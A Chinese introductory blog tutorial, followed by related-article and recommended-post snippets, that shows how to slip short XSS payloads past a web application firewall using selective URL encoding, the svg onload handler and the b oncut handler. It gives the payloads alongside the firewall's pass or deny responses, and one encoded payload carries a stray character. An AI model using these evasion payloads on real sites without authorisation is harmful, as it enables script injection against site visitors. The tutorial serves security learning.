用最短的payload绕过WAF(入门)
<font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过。</font>
我在这里先使用一个网页举例。

然后输入经典的payload

拒绝访问!看起来像是WAF正在限制我们的方式。所以我要用URL编码对我们的payload进行编码。可以在搜索引擎上找到一些可以做到这一点的网站,但我喜欢用火狐的HackBar插件。所以我把我的payload进行了编码。


现在来看看是否可以绕过WAF
%3C%73%63%72%69%70%74%3E%61%6c的%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

是啊 我们成功了!
这真的很简单,但如果搜索表单不允许我们输入超过35个字符怎么办?或者25呢?
先尝试缩短这个75个字符长的payload。
首先,我们并不需要对所有内容进行编码,所以尝试通过不同的payload来找出WAF进行限制的字符。(这是一种方法,先测试waf限制的字符有哪些,哒哒哈)
%3cscript%3ealert(1)%3c%2fscript%3e Success
%3cscript>alert(1)%3c%2fscriptAccess Denied
<script%3ealert(1)%3c/fscript%3e Access Denied
……
%3cscript%3ealert(1)%3c/scriptSuccess
实际上也可以使用alert()而不是alert(1)。alert()将给我们一个空白的警告弹出,并将减小使用1个字符。
所以这里是我们的最后的payload只有31个字符:
%3cscript%3ealert()%3c/script>
JavaScript不限于脚本标签。所以可以尝试用不同的标签和事件处理程序创建payload。
<svg onload = alert()>拒绝访问
编码之后成功
%3c%73%76%67%20%6f%6e%6c%6f%61%64%3d%61%6c%65%72%74%28%29%3e 成功
尝试了payload的不同变体,找出应该编码的内容,这就是最后所得到的:
%3csvg onload%3dalert()> 成功
因此,现在将payload缩短为24个字符!能做得更短吗?可以,看看这个精美的payload%3cb oncut%3dalert()>
没有编码它看起来像这样<b oncut = alert()>
如果你输入了这个payload,没有任何事情会发生。

但是一旦尝试从网页上剪切一些文字

将会看到XSS的弹弹弹!哈哈

用最短的payload绕过WAF(入门)的更多相关文章
- sql注入waf绕过简单入门
		0x1 白盒 0x2 黑盒 一.架构层 1.寻找源站==> 2.利用同网段==> 3.利用边界漏洞==> ssrf只是一个例子 二.资源限制 Waf为了保证业务运行,会忽略对大的数 ... 
- 深入理解SQL注入绕过WAF和过滤机制
		知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ... 
- 深入了解SQL注入绕过waf和过滤机制
		知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ... 
- 深入理解SQL注入绕过WAF与过滤机制
		知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ... 
- sqlmap注入之tamper绕过WAF脚本列表
		本文作者:i春秋作者——玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrop ... 
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
		Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ... 
- 如何绕过WAF
		目录 HTTP报文包体的解析 Transfer-Encoding Charset 溢量数据 HTTP协议兼容性 HTTP请求行种的空格 HTTP 0.9+Pipelining Websocket.HT ... 
- Apache Shiro漏洞绕过waf小tips
		看了篇文章觉得不错记录下以免以后找不到,原理是通过base64解码特性导致waf不能成功解码绕过waf检测从而进行攻击 解码情况: payload php python openresty java ... 
- HTTP协议层面绕过WAF
		最近也是在一直看过waf相关的资料,本次主要是想写写HTTP协议层面过WAF的一些技巧,来与大家一同探讨 原理 给服务器发送payload数据包,使得waf无法识别出payload,当apache,t ... 
随机推荐
- java算法  第七届 蓝桥杯B组(题+答案) 4.分小组
			4.分小组 (代码填空) 9名运动员参加比赛,需要分3组进行预赛.有哪些分组的方案呢? 我们标记运动员为 A,B,C,... I下面的程序列出了所有的分组方法. 该程序的正常输出为:ABC DEF ... 
- 【hdu6148】Valley Numer【数位dp模板题】
			题意 对于每组数据给出一个整数n(length(n)<=100),找出不大于n的数字中有多少是Valley Numer.对于Valley的定义是它每一位的数字要么是递增,要么是递减,要么是先递减 ... 
- 高性能Web服务器Nginx的配置与部署研究(4)Nginx常用命令
			1. 启动 Nginx poechant@ubuntu:sudo ./sbin/nginx 2. 停止 Nginx poechant@ubuntu:sudo ./sbin/nginx -s stop ... 
- MYSQL 创建常见问题
			1.创建函数时,报错: 出错信息:ERROR 1418 (HY000): This function has none of DETERMINISTIC, NO SQL, or READS SQL D ... 
- Python爬虫入门二之爬虫基础了解
			1.什么是爬虫 爬虫,即网络爬虫,大家可以理解为在网络上爬行的一直蜘蛛,互联网就比作一张大网,而爬虫便是在这张网上爬来爬去的蜘蛛咯,如果它遇到资源,那么它就会抓取下来.想抓取什么?这个由你来控制它咯. ... 
- sql分组获取第一条记录(sql+oracle)
			sql版本 select * from (select t.CloseDate,t.ExpiryDate,t.DataTypeLookupID,ROW_NUMBER() over(partition ... 
- python 中面向对象编程简单总结1
			1.类的定义方式 class ClassName(object): #object 表示继承的类,默认为object pass 类的使用类似函数的调用,也可以认为是调用了一次模板来创建一个实例. 2. ... 
- linux 安装php7
			http://blog.csdn.net/whatday/article/details/50645117 1: wget http://cn2.php.NET/distributions/php- ... 
- idea中dependencies中总是有红色波浪线(缺少dependency)问题
			使用IDEA进行maven开发时,将新项目import进工作空间时,Maven Projects栏中的dependencies中总是有红色波浪线,如下图: 但是这些jar在我本地的maven仓库中实际 ... 
- js基础巩固练习
			---恢复内容开始--- 今天讲了js的基础知识 js的组成3部分1 ECMAscript 核心 2 DOM 文本对象模型 3BOM 浏览器模型 js 的引入方式三种 1 在body里作为标 ... 
